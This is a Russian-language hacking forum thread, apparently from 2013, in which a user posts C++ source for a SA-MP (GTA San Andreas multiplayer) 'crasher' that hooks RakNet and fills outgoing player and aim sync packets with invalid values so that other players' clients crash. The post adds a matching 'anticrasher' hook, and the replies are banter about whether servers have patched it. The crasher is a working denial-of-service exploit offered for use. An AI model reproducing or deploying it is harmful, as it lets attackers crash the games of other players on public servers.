
20.07.2013, 12:12
|
|
Познавший АНТИЧАТ
Регистрация: 09.03.2013
Сообщений: 1,771
С нами:
6935121
Репутация:
233
|
|
данный крашер работает только с хуком ракнета из собейта версии не ниже 4.3.3.0, но без хука можно обойтись, добавив самостоятельно отправку пакета, вместо подменны данных в пакете.
код крашера:
Код:
Код:
void CheatReplaceOnfootData ( struct stOnFootData *ofSync )
{
if ( g.use_new_crasher )
{
ofSync->sKeys = 128;
ofSync->byteCurrentWeapon = 0;
}
}
void CheatReplaceAimData ( struct stAimData *aimSync )
{
if ( g.use_new_crasher )
{
aimSync->vecAimf1[0] = (float)0x7FFFFFFF;
aimSync->vecAimPos[0] = (float)0x7FFFFFFF;
}
}
// в HookedRakClient.cpp в функцию bool Send( BitStream * bitStream, PacketPriority priority, PacketReliability reliability, char orderingChannel )
if ( packetId == ID_PLAYER_SYNC )
CheatReplaceOnfootData( (stOnFootData *)( bitStream->GetData() + 1 ) );
if ( packetId == ID_AIM_SYNC )
CheatReplaceAimData( (stAimData *)( bitStream->GetData() + 1 ) );
код антикрашера:
Код:
Код:
// в samp.cpp
#define FUNC_PACKET_AIM_SYNC 0x87A0
void __stdcall HookPacketAimData( Packet *packet )
{
BitStream bs( (unsigned char *)packet->data, packet->length, false );
PLAYERID playerId;
stAimData sync;
bs.IgnoreBits( 8 ); // packet id
bs.Read( playerId );
bs.Read( (char *)&sync, sizeof( sync ) );
bool isUse = false;
float pos[3] = { 0, 0, 0 };
int isok = getPlayerPos( playerId, pos );
if ( isok && vect3_dist( pos, sync.vecAimPos ) > 500.0f )
{
vect3_mult( sync.vecAimPos, 0.0f, sync.vecAimPos );
isUse = true;
}
for ( int i = 0; i 9.9f )
{
sync.vecAimf1[i] = 0.0f;
isUse = true;
}
}
if ( isUse )
{
BitStream bs1;
bs1.Write( (byte)ID_AIM_SYNC );
bs1.Write( playerId );
bs1.Write( (char *)&sync, sizeof( sync ) );
memcpy( packet->data, bs1.GetData(), packet->length );
}
return ( ( void ( __thiscall * )( stSAMP *, Packet * ) )( g_dwSAMP_Addr + FUNC_PACKET_AIM_SYNC ) )( g_SAMP, packet );
}
#define SAMP_HOOKENTER_PACKET_AIM_DATA 0x9EB5 // куда-нибудь в samp.cpp
SetupSAMPHook("Packet_AimSync", SAMP_HOOKENTER_PACKET_AIM_DATA, HookPacketAimData, DETOUR_TYPE_CALL_FUNC, 5, ""); // в void installSAMPHooks ()
просто скопировать и вставить всё это дело, конечно, не получится, некоторые вещи придется переделать и привести в порядок.
с вами был FYP, спасибо за внимание.
|
|
|

20.07.2013, 12:26
|
|
Участник форума
Регистрация: 09.03.2013
Сообщений: 193
С нами:
6935145
Репутация:
208
|
|
первый нах, азаза
зачёт
|
|
|

20.07.2013, 12:27
|
|
Постоянный
Регистрация: 19.03.2013
Сообщений: 586
С нами:
6920791
Репутация:
113
|
|
Сообщение от EvgeN 1137
первый нах, азаза
зачёт
Я первый посмотрел тему за то
|
|
|

20.07.2013, 13:40
|
|
Участник форума
Регистрация: 19.03.2013
Сообщений: 101
С нами:
6920791
Репутация:
113
|
|
Первый раз вижу такой крешер он на многих северах профикшен?
|
|
|

20.07.2013, 13:51
|
|
Познавший АНТИЧАТ
Регистрация: 09.03.2013
Сообщений: 1,771
С нами:
6935121
Репутация:
233
|
|
Сообщение от fondamentolok
Первый раз вижу такой крешер он на многих северах профикшен?
скоро будет - да.
|
|
|

20.07.2013, 14:05
|
|
Познающий
Регистрация: 31.03.2013
Сообщений: 92
С нами:
6903095
Репутация:
0
|
|
Половина людей не сможет его вшить(лично мое мнение) 
|
|
|

20.07.2013, 14:40
|
|
Участник форума
Регистрация: 19.03.2013
Сообщений: 101
С нами:
6920791
Репутация:
113
|
|
Fyp это тот што с кулака?
|
|
|

20.07.2013, 14:52
|
|
Участник форума
Регистрация: 19.03.2013
Сообщений: 101
С нами:
6920791
Репутация:
113
|
|
Сообщение от mgmoldova
ofSync->sKeys = 128;
ofSync->byteCurrentWeapon = 0;
я уже увидел )
он на исходнике голубя будет работать?
|
|
|

20.07.2013, 14:55
|
|
Участник форума
Регистрация: 19.03.2013
Сообщений: 101
С нами:
6920791
Репутация:
113
|
|
только 2 дня назад мне его слили и теперь он в паблике обидно(
|
|
|

20.07.2013, 15:03
|
|
Познающий
Регистрация: 31.03.2013
Сообщений: 92
С нами:
6903095
Репутация:
0
|
|
Сообщение от fondamentolok
только 2 дня назад мне его слили и теперь он в паблике обидно(
Ярослав Прожект,ето тебе его слил
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|